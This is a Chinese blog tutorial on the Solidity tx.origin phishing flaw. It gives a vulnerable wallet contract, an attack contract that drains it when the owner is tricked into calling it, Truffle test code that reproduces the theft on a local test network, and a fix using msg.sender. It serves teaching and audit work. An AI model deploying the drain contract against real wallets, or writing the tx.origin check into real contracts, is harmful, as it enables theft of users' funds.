残月的小站

钓鱼攻击 tx.origin

  tx.originSolidity中的一个全局变量,它返回发送交易的帐户的地址。如果授权帐户调用恶意合约,则使用该变量进行授权可能会使合约容易受到攻击。可以调用通过授权检查的易受攻击的合约,因为tx.origin返回交易的原始发送者,在本例中是授权帐户。

漏洞代码

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
contract Wallet {
    address public owner;

    constructor() payable {
        owner = msg.sender;
    }

    function transfer(address payable _to, uint _amount) public {
        require(tx.origin == owner, "Not owner");
        (bool sent, ) = _to.call{value: _amount}("");
        require(sent, "Failed to send Ether");
    }
}

问题分析

  合约部署时将部署用户作为当前合约的owner,并定义了transfer方法,此方法需要传入一个转账用户地址 _to和转账数量 _amount。在第一行通过 require 并使用tx.originowner判断是否为部署用户,不是将抛出 "Not owner",第12行 向_to 地址 转账 _amount 数量的虚拟币(call 为底层方法),并判断是否转账成功,失败将抛出 "Failed to send Ether"
这题主要问题在于在使用tx.origin作为转账前的检查是不对的,合约本意为检验是否为当前钱包合约的部署用户,但tx.origin会返回最先发送交易的帐户的地址,而不是上一层调用合约的地址。
 例如:
  第一步
   用户-A :部署了 Wallet 合约;
   攻击者-B:部署了 钓鱼的恶意合约;
  第二步
   用户-A :调用了 攻击者-B 恶意合约
  第二步 分析
   这个时候如果恶意合约调用了 用户-A 部署的 Wallet合约,此时合约中的tx.origin获取的地址为用户-A的地址,并向_to地址转账,并不会触发require的判断,此时攻击者-B只需要将_to 在攻击合约中定义为个人账户地址,此时用户-A的用户余额已被转走。

攻击代码

contract Attack {
    address payable public owner;
    Wallet wallet;

    constructor(Wallet _wallet) {
        wallet = Wallet(_wallet);
        owner = payable(msg.sender);
    }

    function attack() public {
        wallet.transfer(owner, address(wallet).balance);
    }
}

  基于以上分析写出攻击合约,攻击合约在部署时传入要攻击的Wallet合约地址,并将个人地址保存在owner中,在 用户-A调用 Attack.attack()方法时,攻击合约将会调用Wallet合约的transfer方法,传入攻击者的地址ownerWallet合约账户的所剩余额。

攻击复现

执行步骤

{hide}

1、创建项目文件夹,并在文件夹中初始化truffle项目

truffle init

2、将Wallet.sol 合约导入
3、在migrations文件夹下创建合约迁移文件

const Wallet = artifacts.require("Wallet");
const Attack = artifacts.require("Attack");
module.exports = async function(deployer,network,account){
  // init Wallet to 1 ether , Attack init 0
  // tips: Wallet initialization amount will be deducted from the ganache deployment account
  await deployer.deploy(Wallet,{value:web3.utils.toWei("1","ether"),from:account[1]});
  await deployer.deploy(Attack,Wallet.address,{value:0,from:account[0]});
}

  这里部署WalletAttack合约,为Wallet指定部署用户为account[1]并为此合约初始化1 ether的余额(这里的余额会从ganache测试网络中的用户account[1]扣除);为Attack指定部署用户为account[0]
4、在test文件夹下编写测试代码

const Wallet = artifacts.require("Wallet");
const Attack = artifacts.require("Attack");
let newWallet;
let newAttack;
contract("Test Wallet",async (address)=>{
    it("Attack Wallet",async()=>{
        // ================= 1 ========================
        // deployed Walled  -> deploy account is address[1]
        newWallet = await Wallet.deployed();
        // Attack Walled -> deploy account is address[0]
        newAttack = await Attack.deployed(newWallet.address);

        // ================= 2 ========================
        // Attack and Walled init user
        let deployedAttackUser  = await web3.eth.getBalance(address[0]);
        let deployedWalled  = await web3.eth.getBalance(newWallet.address);
        console.log("deployedAttackUser balance: ",deployedAttackUser.toString());
        console.log("deployedWalled     balance: ",deployedWalled.toString());

        // ================= 3 ========================
        // use account address[1] to run attack
        // this address[1] and walled deployment users are consistent
        await newAttack.attack({from:address[1]});
    })
    it("Attack check",async()=>{
        let deployedAttackUser  = await web3.eth.getBalance(address[0]);
        let deployedWalled  = await web3.eth.getBalance(newWallet.address);
        console.log("Check deployedAttackUser balance: ",deployedAttackUser.toString());
        console.log("Check deployedWalled     balance: ",deployedWalled.toString());
    });
})

这里写了个样例代码,步骤意思为:
  1)部署两个合约,并将wallet合约地址传给Attack
  2)获取当前address[0]攻击部署用户地址)下的余额和wallet合约账户余额;
  3)使用address[1]wallet 部署用户地址)访问Attack合约;
  4)检查address[0]wallet合约账户余额;

5、运行truffle测试

truffle test

结果

  可以看到一开始攻击者账户中有 47024979010000000000的余额,Wallet合约账户中有10000000000000000000,在执行完成后攻击者账户中多了10000000000000000000的余额,而Wallet合约账户中的余额已被清空,此时攻击成功,流程出来后写出标准的测试代码。

const Wallet = artifacts.require("Wallet");
const Attack = artifacts.require("Attack");

contract("Test Wallet",async (address)=>{
  it("Attack Wallet",async()=>{
    newWallet = await Wallet.deployed();
    newAttack = await Attack.deployed(newWallet.address);
    await newAttack.attack({from:address[1]});
    let deployedWalled  = (await web3.eth.getBalance(newWallet.address)).toString();
    assert.equal(deployedWalled , "0","Attack Failed");
  })
})

通过代表执行攻击合约成功。

漏洞修补

将合约中的 tx.origin 替换为 sg.sender

修补过程

1、修改合约中的 tx.origin 替换为 msg.sender

2、执行测试

此时Attack合约攻击被合约中的require给阻止,自此合约修复完成。

项目文件

{abtn icon="fa-cloud-download" color="#2e7fff" href="https://blog.dfcraft.cn/usr/uploads/2023/12/3233401250.tar" radius="5px" content="项目下载"/}

参考文章

{card-list}
{card-list-item}
智能合约安全审计入门篇 —— Phishing with tx.origin | 登链社区 | 区块链技术社区
{/card-list-item}
{card-list-item}
SWC-115 - Smart Contract Weakness Classification (SWC)
{/card-list-item}
{card-list-item}
solidity内置对象block、msg
{/card-list-item}
{/card-list}

{/hide}

当前页面是本站的「Google AMP」版。查看和发表评论请点击:完整版 »